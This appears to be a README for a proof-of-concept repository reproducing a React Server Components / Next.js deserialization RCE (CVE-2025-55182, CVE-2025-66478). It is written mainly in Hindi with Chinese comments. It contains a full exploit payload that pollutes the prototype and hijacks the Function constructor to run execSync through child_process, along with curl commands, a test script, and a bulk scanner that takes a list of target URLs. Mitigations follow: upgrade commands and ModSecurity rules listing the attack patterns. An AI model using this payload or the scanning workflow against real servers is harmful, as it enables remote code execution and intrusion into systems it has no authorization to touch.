
यह React2Shell (CVE-2025-55182) और Next.js RSC RCE (CVE-2025-66478) भेद्यताओं को पुनरुत्पादित करने के लिए एक न्यूनतम MVP है।
यह प्रोजेक्ट केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। कृपया इसे उत्पादन वातावरण या अनधिकृत सिस्टम पर उपयोग न करें।
CVE-2025-55182 React Server Components में एक गंभीर भेद्यता है, जो निम्न को प्रभावित करती है:
हमलावर एक विशेष रूप से तैयार किए गए multipart/form-data अनुरोध के माध्यम से Flight Protocol की deserialization भेद्यता का लाभ उठाकर रिमोट कोड निष्पादन (RCE) प्राप्त कर सकता है।
$@N सिंटैक्स का उपयोग करें$1:__proto__:then के माध्यम से दुर्भावनापूर्ण then विधि इंजेक्ट करें_formData.get को Function कंस्ट्रक्टर में अपहरण करेंnpm install
# 或
yarn install
# 或
pnpm install
npm run dev
सर्वर http://localhost:3000 पर प्रारंभ होगा।
प्रदान की गई परीक्षण स्क्रिप्ट का उपयोग करें:
# 单个目标测试
./test-exploit.sh http://localhost:3000
# 或直接使用 curl
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
यदि भेद्यता मौजूद है, तो आपको प्रतिक्रिया में uid= जैसा आउटपुट दिखाई देगा (id कमांड का निष्पादन परिणाम)।
.
├── app/
│ ├── actions.ts # Server Actions(漏洞触发点)
│ ├── page.tsx # 主页面
│ ├── layout.tsx # 布局
│ └── globals.css # 全局样式
├── package.json # 依赖配置(使用受影响版本)
├── next.config.js # Next.js 配置
├── test-exploit.sh # 单个目标漏洞测试脚本
├── scan-targets.sh # 批量扫描脚本
├── exploit-payload.txt # Exploit payload 文件
├── Cve-2025-55182-modsecurity-rules.conf # ModSecurity 防护规则
└── README.md # 本文件
जाँचें कि क्या किसी एकल URL में भेद्यता मौजूद है:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
विशेषता: यदि प्रतिक्रिया में uid= या gid= शामिल है, तो भेद्यता मौजूद है।
कई लक्ष्य URL को बल्क में स्कैन करें:
# 创建目标列表文件
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# 执行批量扫描
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
स्कैन परिणाम vulnerable_hosts.csv में सहेजे जाएँगे।
{
"then": "$1:__proto__:then", // 劫持 then 方法
"status": "resolved_model", // 控制执行路径
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // 触发 Blob 反序列化
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // 劫持为 Function
}
}
}
npm install [email protected] [email protected] [email protected]
यदि तुरंत अपग्रेड संभव नहीं है, तो अस्थायी शमन के लिए ModSecurity नियम तैनात किए जा सकते हैं।
# 1. 安装 mod_security
sudo apt-get install libapache2-mod-security2
# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. 在 Apache 配置中引入规则
sudo vim /etc/apache2/mods-enabled/security2.conf
# 添加: Include /etc/modsecurity/modsecurity-rules.conf
# 4. 重启 Apache
sudo systemctl restart apache2
# 1. 安装 ModSecurity for Nginx
sudo apt-get install libnginx-mod-security
# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. 在 Nginx 配置中启用
sudo vim /etc/nginx/nginx.conf
# 在 http 或 server 块中添加:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. 重启 Nginx
sudo systemctl restart nginx
ModSecurity नियम निम्नलिखित विशेषताओं को अवरोधित करेंगे:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ ध्यान दें: WAF नियम केवल अस्थायी शमन उपाय हैं और पूर्ण सुरक्षा प्रदान नहीं कर सकते। सुधारित संस्करण में अपग्रेड करना आवश्यक है।
यदि आपका एप्लिकेशन प्रभावित हो सकता है:
test-exploit.sh स्क्रिप्ट का उपयोग करेंNext-Action अनुरोधों के लिए एक्सेस लॉग की जाँच करेंयदि आप सीधे curl का उपयोग करके परीक्षण करना चाहते हैं (स्क्रिप्ट का उपयोग किए बिना):
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
यदि लौटाए गए परिणाम में uid= या gid= शामिल है, तो भेद्यता मौजूद है।
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए है। इस कोड का उपयोग करते समय कृपया संबंधित कानूनों और विनियमों का पालन करें।